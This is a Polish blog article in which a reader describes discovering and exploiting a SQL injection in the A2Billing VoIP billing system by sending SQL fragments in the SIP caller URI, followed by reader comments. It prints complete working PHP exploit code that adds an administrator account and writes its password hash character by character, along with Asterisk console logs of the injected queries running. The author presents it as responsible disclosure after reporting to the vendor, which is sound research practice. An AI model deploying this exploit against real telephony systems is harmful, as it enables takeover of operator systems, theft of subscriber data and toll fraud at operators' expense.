Nasz Czytelnik podesłał nam opis własnoręcznie odkrytego błędu umożliwiającego zdalne wykonanie kodu w popularnym systemie bilingowym. Sposób przeprowadzenia ataku zrobił na nas ogromne wrażenie.
Autor przeprowadził atak typu SQLi składając złośliwe zapytanie do bazy z kawałków zapisów połączeń telefonicznych. Oddajmy zatem głos Czytelnikowi, który wprowadzi Was w świat VoIP, by pokazać tajniki swojego odkrycia.
www: blaszczakm.blogspot.com, mail: [email protected]
Bezpieczeństwo systemów VoIP – wprowadzenie
W tym tekście chciałbym przedstawić Wam jak zhakować działające już w Internecie systemy wykorzystywane w telekomunikacji. Jako że od kilku lat całkowicie z przypadku pochłonęła mnie praca z wykorzystaniem technologii VoIP (ang. Voice Over Internet Protocol) postanowiłem sprawdzić jak wygląda temat bezpieczeństwa w tej branży. Wszyscy wokoło skupili się na możliwości podsłuchiwania rozmów i innych atakach w warstwie sieciowej oraz na zabezpieczaniu interfejsów webowych swoich systemów telekomunikacyjnych. Ja postanowiłem sprawdzić jak to wygląda na innym polu – ale o tym za moment.
Od jakiegoś czasu prywatnie prowadziłem projekt Hack VoIP, który miał dwa cele:
- pozwolić mi poznać jak największą ilość systemów VoIP,
- sprawdzić poziom ich bezpieczeństwa.
Projekt od samego początku zakładał, że każda znaleziona przeze mnie podatność zostanie zgłoszona do producenta systemu/oprogramowania, a ja po jakimś czasie opublikuję błąd lub gotowy exploit na blogu i w jednym z serwisów zajmujących się publikacją takich podatności. Jako że wszystko to robię samemu i całkowicie hobbystycznie to oczywiście publikacje nie pojawiają się tak często jak bym sobie tego życzył, a wynika to z tego że albo błąd nie jest jeszcze naprawiony (brak czasu producenta oprogramowania) albo ja nie mam czasu go opublikować lub nie mam czasu sprawdzić następnego oprogramowania.
Kilka publikacji już za mną, a ja podnosząc sobie poprzeczkę, doszedłem do bardzo popularnego systemu A2Billing. Wykorzystuje go wielu operatorów VoIP działających w Internecie oraz lokalnych dostawców Internetu i telefonii VoIP. System po krótkich badaniach okazał się dość bezpieczny (znalezione parę XSS’ow oraz CSRF) ale to zdarza się bardzo często i nie jest tym czego szukałem – oczywiście miałem świadomość tego, że ze względu na swoją popularność został już przebadany pod względem bezpieczeństwa.
Jako że sam A2Billing to głównie 'logika’ systemu telekomunikacyjnego, która odpowiada za interfejs WWW, sprzedaż usług oraz obsługę klienta, to postanowiłem skupić się na styku 'logiki z silnikiem’. Silnikiem w tym przypadku jest Asterisk – programowa centrala VoIP. Jako że osobom nie zajmującym się na co dzień tematem VoIP było by ciężko zrozumieć resztę tekstu, muszę zacząć od tego tym czym jest Asterisk i jak działa.
O Asterisku słów kilka
Asterisk to centrala VoIP która pozwala na wykonywanie połączeń telefonicznych, wysyłanie faksów, tworzenie menu głosowych (IVR) oraz wielu jeszcze innych rzeczy – wszystko zależy od naszej wyobraźni i umiejętności. Jego twórcą jest Mark Spencer i firma Digium, którzy na potrzeby programu stworzyli protokół IAX jako alternatywę dla skomplikowanego SIP. Asterisk jest także macierzystym środowiskiem protokołu wykrywania usług VoIP dostępnych na danym węźle o nazwie DUNDi, który ma być alternatywą dla ENUM w architekturze P2P (źródło: wikipedia.pl).
Asterisk również posiada kilka interfejsów służących do komunikacji. Jednym z nich jest AGI – dosyć dobre rozwiązanie, które pozwala na wpięcie go w dialplan, czyli moduł, który jest przetwarzany podczas połączenia telefonicznego i sterowania całym połączeniem właśnie z poziomu AGI. AGI to osobny program, pisany zazwyczaj w C, PHP lub Perlu przez autora wcześniej wspomnianej logiki, którą w tym przypadku jest A2Billing. To właśnie ten program obsłuży nam całą logikę połączenia i będzie kazał wykonać rożne instrukcje z połączeniem telefonicznym centrali Asterisk.
Jakie to będą instrukcje? W naszym przypadku i w dużym uproszczeniu wygląda to tak:
- połączenie telefoniczne trafia do Asteriska
- Asterisk zestawia to połączenie i kieruje je do wspomnianego wcześniej AGI
- AGI sprawdza kto dzwoni, gdzie się chce dodzwonić (czy obsługujemy numer docelowy, czy konto na numerze docelowym jest aktywnie, czy jest to zwykle konto telefoniczne czy może jakaś usługa telekomunikacyjna jak IVR lub poczta głosowa)
- w zależności od wyniku sprawdzania logiki następują inne procesy jak np. zestawienie połączenia głosowego.
Jak pewne już zauważyliście mamy tutaj ciekawy fragment – w pkt.3 AGI coś sprawdza, np. jaki numer dzwoni itp., czyli już mamy jakiś punkt zaczepienia. Jak się okazało podczas audyty bezpieczeństwa interfejsu webowego, programista dość skutecznie walczył z SQL Injection oraz innymi atakami, lecz w AGI to całkowicie pominął. Pewnie doszedł do wniosku, że numery telefonów niewiele mu mogą zrobić – otóż się mylił, ale jak pokazuje życie to nie tylko on tak pomyślał, w ten sposób myślą również inni projektanci systemów telekomunikacyjnych, ale o tym również później.
Aby jeszcze bardziej przybliżyć Wam problem będę musiał opisać jak wygląda połączenie telefoniczne do Asteriska – dla ułatwienia skupię się tutaj tylko na jednym protokole – protokole SIP.
Protokół SIP – SIP (ang. Session Initiation Protocol) – protokół inicjowania sesji, zaproponowany przez IETF standard dla zestawiania sesji pomiędzy jednym lub wieloma klientami. Jest obecnie dominującym protokołem sygnalizacyjnym dla Voice over IP). SIP ma w zamierzeniu dostarczać zestaw funkcji obsługi połączenia i innych cech obecnych w publicznej sieci telefonicznej (PSTN). Jako taki zawiera funkcje, które umożliwiają znane ze stacjonarnej telefonii operacje: wybieranie numeru, dzwonek w telefonie, sygnał zajętości itp. Jednakże ich implementacja i używana terminologia jest odmienna (źródło: wikipedia.pl)
Oznacza to, że SIP pozwala nam zainicjować połączenie telefoniczne oraz doprowadzić je do końca. Nie chcąc schodzić za bardzo z tematu artykułu (który de facto nie jest o protokole SIP) wspomnę tylko, że podczas wykonywania połączenia z telefonu do centrali jest przekazywanych kilka parametrów takich jak adres IP, numer telefonu oraz nagłówki.
Tak, tak jak już zapewne się domyślacie możemy wysłać co tylko chcemy więc dlaczego by wysyłać tylko numerki (lub literki)? Tym przykładem chcę Wam pokazać, że ludzie którzy tworzą systemy nie do końca zdają sobie sprawę jak działają protokoły, które będą wykorzystywać. Tutaj znowu zaufali protokołowi, który jak się okazuje wyprowadził ich na manowce bo pozwoli wysłać różne znaki specjalne.
SQLi w połączeniu
Szybko okazało się, że w AGI do którego przekazywany był numer telefonu jest podatność typu SQL injection. Problem tkwił w samej technice wykorzystania tego błędu ponieważ nie mogłem wysłać więcej niż 100 znaków, a i tak na początku wysyłanego łańcucha musiał znaleźć się numer telefonu. Kolejnym problem okazał się brak zwracanego wyniku, w takim przypadku nie pomaga nawet Blind SQL Injection. Dość długo myślałem jak wykorzystać ten błąd, ale w końcu się udało. Wybrałem się do Krakowa na spotkanie OWASP gdzie podczas rozmowy z Krzyśkiem Kotowiczem na temat SQL Injection zostałem naprowadzony na pomysł sposobu wykorzystania błędu. Chciałbym w tym miejscu serdecznie mu podziękować za ta rozmowę. Na czym polegał pomysł Krzyska? Na tym aby wysyłać do bazy krótkie zapytania SQL, które będą aktualizować znak po znaku – tak, to mogło się udać.
Na początku musiałem mieć coś co chcę aktualizować. Exploit który napisałem miał za zadanie:
- podczas pierwszej próby połączenia telefonicznego zrobić INSERT
- w następnych wykonywać tylko UPDATE
W ten sposób za pomocą kilkudziesięciu – kilkuset prób połączenia telefonicznego mógłbym do bazy danych dodać na przykład nowego administratora systemu z własnym hasłem. Oczywiście udało się to zrobić. Poniżej pierwszy raz prezentuję kod tego exploita:
<?php /* Michal Blaszczak 14-01-2014 a2billing remote exploit */ function exploit($RHOST,$SQLi) { try { $api = new PhpSIP($RHOST); // IP we will bind to $api->addHeader('Subject: click2call'); $api->setMethod('INVITE'); $api->setFrom('sip:blaszczakm.blogspot.com@'.$api->getSrcIp($RHOST)); $uri = 'sip:1\';'.$SQLi.';%20--@'.$RHOST; echo $uri; $api->setUri($uri); $res = $api->send(); if($res==200) { echo "HACKED - $SQLi\n"; } } catch (Exception $e) { echo $e->getMessage()."\n"; } } require_once('php-sip/PhpSIP.class.php'); // useradd $sqli = "insert%20into%20cc_ui_authen(login,perms)%20values%20('m','5242879')"; exploit('127.0.0.1',$sqli); // password add $hash= hash( 'whirlpool','admin'); $length = strlen($hash); for($i=0;$i<$length;$i++) { if($i==0) $sqli = "update%20cc_ui_authen%20set%20pwd_encoded='$hash[0]'%20where%20login='m'"; else $sqli = "update%20cc_ui_authen%20set%20pwd_encoded=CONCAT(pwd_encoded,'$hash[$i]')%20where%20login='m'"; exploit('127.0.0.1',$sqli); sleep(5); } echo "\n".$hash."\n"; ?>
Exploit korzysta z publicznie dostępnej klasy php-sip. Przedstawiony przeze mnie kod to nic innego jak dialer VoIP, który zamiast numeru wysyła przy pierwszej próbie połączenia INSERT – aby dodać użytkownika do bazy, a w następnych już tylko UPDATE skrótu hasła dla tego użytkownika. Poniżej przykład jak wygląda uruchomienie tego exploita na konsoli administracyjnej centrali Asterisk:
Connected to Asterisk 11.7.0 currently running on vbilling (pid = 3627) vbilling*CLI> == Using SIP RTP CoS mark 5 root@vbilling:/var/lib/asterisk/agi-bin# asterisk -rvvvvv Asterisk 11.7.0, Copyright (C) 1999 - 2014 Digium, Inc. and others. Created by Mark Spencer <[email protected]> Asterisk comes with ABSOLUTELY NO WARRANTY; type 'core show warranty' for details. This is free software, with components licensed under the GNU General Public License version 2 and other licenses; you are welcome to redistribute it under certain conditions. Type 'core show license' for details. ========================================================================= Connected to Asterisk 11.7.0 currently running on vbilling (pid = 3627) == Using SIP RTP CoS mark 5 -- Executing [1';insert into cc_ui_authen(login,perms) values ('m','5242879'); --@a2billing:1] AGI("SIP/192.168.51.3-00000008", "a2billing.php,1,did") in new stack -- Launched AGI Script /var/lib/asterisk/agi-bin/a2billing.php == Using SIP RTP CoS mark 5 -- Executing [1';update cc_ui_authen set pwd_encoded='6' where login='m'; --@a2billing:1] AGI("SIP/192.168.51.3-00000009", "a2billing.php,1,did") in new stack -- Launched AGI Script /var/lib/asterisk/agi-bin/a2billing.php -- <SIP/192.168.51.3-00000008>AGI Script a2billing.php completed, returning 4 == Spawn extension (a2billing, 1';insert into cc_ui_authen(login,perms) values ('m','5242879'); --, 1) exited non-zero on 'SIP/192.168.51.3-00000008' -- <SIP/192.168.51.3-00000009>AGI Script a2billing.php completed, returning 4 == Spawn extension (a2billing, 1';update cc_ui_authen set pwd_encoded='6' where login='m'; --, 1) exited non-zero on 'SIP/192.168.51.3-00000009' == Using SIP RTP CoS mark 5 -- Executing [1';update cc_ui_authen set pwd_encoded=CONCAT(pwd_encoded,'a') where login='m';@a2billing:1] AGI("SIP/192.168.51.3-0000000a", "a2billing.php,1,did") in new stack -- Launched AGI Script /var/lib/asterisk/agi-bin/a2billing.php -- <SIP/192.168.51.3-0000000a>AGI Script a2billing.php completed, returning 4 == Spawn extension (a2billing, 1';update cc_ui_authen set pwd_encoded=CONCAT(pwd_encoded,'a') where login='m';, 1) exited non-zero on 'SIP/192.168.51.3-0000000a' vbilling*CLI> Disconnected from Asterisk server Asterisk cleanly ending (0). Executing last minute cleanups root@vbilling:/var/lib/asterisk/agi-bin#
Nagrałem również film pokazujący użycie exploita.
Podsumowanie
Tym tekstem chciałem pokazać Wam, jak można zaatakować popularny system telekomunikacyjny używający trywialnego ataku SQL Injection w miejscu, w którym nikt się tego nie spodziewał. Dzięki temu zdobyłem dostęp administracyjny do całego systemu telekomunikacyjnego gdzie mogłem mieć dostęp do danych użytkowników w tym również do ich billingów, doładowań, zakładać nowych użytkowników itp. Mógłbym dzwonić gdzie chcę, zupełnie za darmo i z wysokim poziomem anonimowości (dane abonenta mogłem podać jakie tylko chciałem) – to dopiero phreaking naszej ery :)
Błąd oczywiście został zgłoszony producentowi, który do sprawy podszedł bardzo poważnie. Nie zdecydowałem się opublikować 0day-a ponieważ konsekwencje mogły być za duże. Dopiero w tym tekście pierwszy raz publikuję kod tego exploita. Zachęcam Was to spojrzenia szerzej na bezpieczeństwo w takich przypadkach.
Nawiązując do tytułu – teraz już wiecie jak za pomocą telefonu dobrać się do systemu operatora – jest tylko jeden problem, większość dialerów nie pozwala na przesyłanie znaków specjalnych – ale czy to naprawdę jest problemem? :) Tekst również pokazuje, że czasami warto porozmawiać o problemie z innymi osobami – tak jak w przypadku mojego wyjazdu na OWASP i rozmowy z Krzyśkiem Kotowiczem.
Mam nadzieję, że zachęciłem Was do badania różnych interfejsów, a nie tylko interfejsu webowego. Osoby, które chciałyby mi pomóc przy projekcie Hack VoIP serdecznie do tego zapraszam. Administratorów i twórców systemów telekomunikacyjnych chciałbym uczulić na tego typu problemy. Błędy te są bardzo chętnie wykorzystywane przez ludzi, którzy zajmują się włamywaniem do systemów operatorów VoIP i przekazują później ten ruch na numery premium, z czego czerpią korzyść finansową. W mojej opinii bywają one dużo cenniejsze na czarnym rynku od podatności w serwisach webowych gdzie zazwyczaj jedynym profitem są dane z baz danych. Tutaj osoba atakująca Wasz system zyskuje podwójnie – dane z systemu telekomunikacyjnego oraz możliwość wykonywania połączeń na koszt operatora pozostając przy tym anonimowa, co może prowadzić do różnych nadużyć takich jak zgłoszenia o podłożeniu bomb itp.
Komentarze
gość kozak. :)
jak kiedyś byłem małą dziewczynką(praktyki na centrali E10), to nie mając tarczy numerycznej w telefonie, wybieraliśmy żądany numer tel za pomocą widełek słuchawki(ilość klików). o ile pamiętam, czasem działało.
w sumie to samo. :D
Producent wypłacił jakąś nagrodę za zgłoszenie?
Za niezamówione testy penetracyjne, można dostać co najwyżej wczasy w kurorcie z kratkami w okach ;-)
To nie zadne pentesty jak hakujesz swoj sprzet.
Przeczytaj jeszcze raz wpis, ale uważnie :P
Gdzie jest napisane, że włamywał się do działających systemów innych firm? Jest tylko wspomniane, że miał chęć poznania jak największej liczby systemów, ale nie oznacza to, że włamywał się do działających. Równie dobrze mógł dostać oprogramowanie od producenta lub jak w tym przypadku, oprogramowanie było darmowe.
@Przemysław. Nie rozpoznajesz emotki z przymrózonym okiem? To jest ironia. Co z wami ludzie, nikt juz nie zna się na żartach??
Mimo tego, że autor znalazł poważnego buga i poświęcił na to swój cenny czas, nic pewnie nie dostał (może oprócz listu z gratkami). Dlatego napisałem ironicznie, że jakby zrobił niezapowiedzianego pentesta, to wtedy dodatkowo mogliby go wynagrodzić odsiadką. Znane były takie przypadki. Miało to pokazać co myślę o tej firmie lol
*przymrużonym
Bardzo fajny tekst.
Autorowi gratuluję zdolności i pomysłowości.
Bardzo ładny przykład myślenia „poza pudełkiem”.
To teraz kolej na mnie, żebym pokazał ile warta jest anonimowość TOR-a ;p
A koledze gratuluję wyobraźni i zdolności, a firmie zaliczenie facepalm :D
To teraz jeszcze Emascem przez sendmail ;-)
n1!
ciekawe jak działają `kolsenter` banków. VoIP na pewno :)
Tak ogólnie w CC – mnóstwo VoIP + często jakieś zapasowe ISDNy. ;-)
Zdziwiłbyś się, ale niektóre tak. Pracowałem jako serwisant call center, 90% naszych klientów to banki i inne instytucje finansowe (chwilówki i takie tam). Większość z nich stała na asterisku.
Wszelka lameria znowu z szaf wypełza. Barkuje jeszcze tylko „mistrzowskich” odkryć uluybieńca mas goriona.
Największą lamerią są osoby myslące, że TOR jest bezpieczny. Nie wiem skąd wniosek, że tak ma być? A najśmieszniejsze jest to, jak tłumaczą się wszyscy. „Bo przecież poznaliśmy prawdziwe IP przez captchę” :-) Zauważyć trzeba też, że wyłapują po trochu wszystkich, którzy nierozsądnie są z Ameryki. Silk Road 1.0, SK 2.0 i inne. Jakoś nie słychać o serwisach (w TOR-ze) zamknietych, których lokalizacja znajduje się np. w takiej Rosji albo Izraelu. A to dlatego, że tam nie sięga ręka wymiaru sprawiedliwości USA i nie mogą doprowadzić do ekstradycji i potem rżnąć głupa odnośnie tego jak kogoś namierzyli. Musieliby się przed zagranicznym sądem zdradzić, że mają sposób na TOR-a i pokazać dowody.
kurna ktoś jeszcze pamięta Goriona? aż mi się łezka zakręciła w oku
Ja pamiętam pracuje nawet z jego synem (to musi być genetyczne pokrewieństwo) i powiem ci coś tylko zachowaj to w sekrecie – nadchodzi ich czas
a właściwie pracowałem to warto nadmienić tutaj, bo naturalnie nikt normalny z IQ > 70 nie będzie w stanie podołać temu wyzwaniu
Świetny research!
Emacsem przez sendmail ? No problemo ! :)
VOIP ? to jeszcze hacking czy już phreaking ? ;) Back to the future lol :D
w4cky jak zawsze 1337 :)
_mamo_jestem_chakerem
KołoGospodynWiejskich: ja tez sobie wspominalem ostatnio goriona i Platynę. To były czasy. Dziwi mnie jedynie, ze mowa tu o jego synu. Przecież on był studentem gdy 'wlamywal się do policji’. Aż tyle lat minęło? Szalone czasy, mam do nich duży sentyment.
On ma wiele synów,
Powinno być hasło na wiki albo nonsenso – „gorioni syn” lub „gorionowiec” – gatunek człowieka który sam sobie komentarze pisze, a jego wiedza jest tak wielka … ;D
Misiou to zaden hack tylko wybieranie impulsowe. To tak ma działać :)
nastoletnie dziecię nie wiedziało wtedy o tym, i uważało to za arcyhack. ;P
viva PRL! :)
hotel śląsk we wrocławiu w którym pomieszkiwałem szkoląc się w ELWRO miał w cetrali telefonicznej zabezpieczenie przed wybraniem 0 (blokada wyjścia na miasto). wystukanie zera widełkami skutecznie omijało to „zabezpieczenie” i dawało możliwość darmowego telefonowania po całej Polsce.
dobre i profesionalne
Można gdzieś poczytać na temat tego, jak połatać A2Billing, żeby zabezpieczyć się przed tego typu atakiem?